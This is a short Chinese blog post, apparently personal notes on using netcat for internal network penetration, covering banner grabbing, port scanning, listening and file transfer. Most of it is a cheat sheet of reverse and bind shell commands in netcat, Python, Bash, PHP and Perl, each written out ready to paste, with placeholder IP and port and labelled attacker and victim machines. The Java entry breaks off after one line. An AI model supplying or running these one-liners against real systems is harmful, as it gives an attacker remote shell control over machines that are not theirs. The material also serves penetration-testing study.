内网渗透利器netcat的使用记录~
介绍
netcat,net上的cat,从网络的一段读取数据并发送至网络的另一端,功能包括但不限于banner探测、端口探测、端口监听、文件传输以及反弹shell等。
简单使用
功能查询
1 | nc -h |
banner探测
1 | nc -v ip port |
连接主机
1 | nc ip port |
端口扫描(速度慢,不推荐)
1 | nc -z ip port_range |
端口监听
1 | nc -lp port |
文件传输
1 | nc -lp port>filename |
反弹shell
nc最大的用途便是用来反弹shell,所以这里单独列举
nc正向shell
受害机监听
1 | nc -lp port -e /bin/sh |
攻击机连接
1 | nc ip port |
nc反向shell
攻击机监听
1 | nc -lvp port |
受害机连接
1 | nc ip port -e /bin/sh |
Python反向shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
Bash反向shell
1 | bash -i >& /dev/tcp/IP/port 0>&1 |
PHP反向shell
1 | php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' |
Java反向shell
1 | r = Runtime.getRuntime() |
Perl反向shell
1 | perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/08/31/netcat%E4%BD%BF%E7%94%A8/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/08/31/netcat%E4%BD%BF%E7%94%A8/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!